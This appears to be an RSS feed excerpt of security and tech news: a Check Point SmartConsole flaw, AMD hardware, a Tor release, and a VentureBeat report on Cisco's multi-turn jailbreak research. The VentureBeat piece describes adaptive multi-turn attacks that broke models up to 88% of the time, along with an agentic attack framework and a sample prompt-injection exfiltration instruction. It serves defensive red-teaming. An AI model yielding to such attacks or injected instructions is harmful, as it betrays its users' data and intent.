<content:encoded><![CDATA[Google gets a billion dollar fine from the EU. The White House considers sanctions against Chinese AI developers. The GAO criticizes overlap in cyber reporting regulations. The Feds warn of Iranian agents targeting OT systems. Researchers disclose a high-severity Linux kernel vulnerability. Dolphin X uses AI profiling to find high-value victims. A new backdoor routes C2 through the browser. Check Point confirms a critical zero-day. A lawsuit accuses ChatGPT of unauthorized medical advice. Ben Yelin explains how political campaigns attempt to influence LLMs. Baseball benches the bots.]]></content:encoded>
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<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
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<title><![CDATA[Claude's voice mode just got smarter]]></title>
<description><![CDATA[Claude's voice mode hasn't been the most reliable, but this update should help.]]></description>
<link>https://tsecurity.de/de/3690035/it-nachrichten/claudes-voice-mode-just-got-smarter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690035/it-nachrichten/claudes-voice-mode-just-got-smarter/</guid>
<pubDate>Thu, 23 Jul 2026 21:04:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Claude's voice mode hasn't been the most reliable, but this update should help.]]></content:encoded>
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
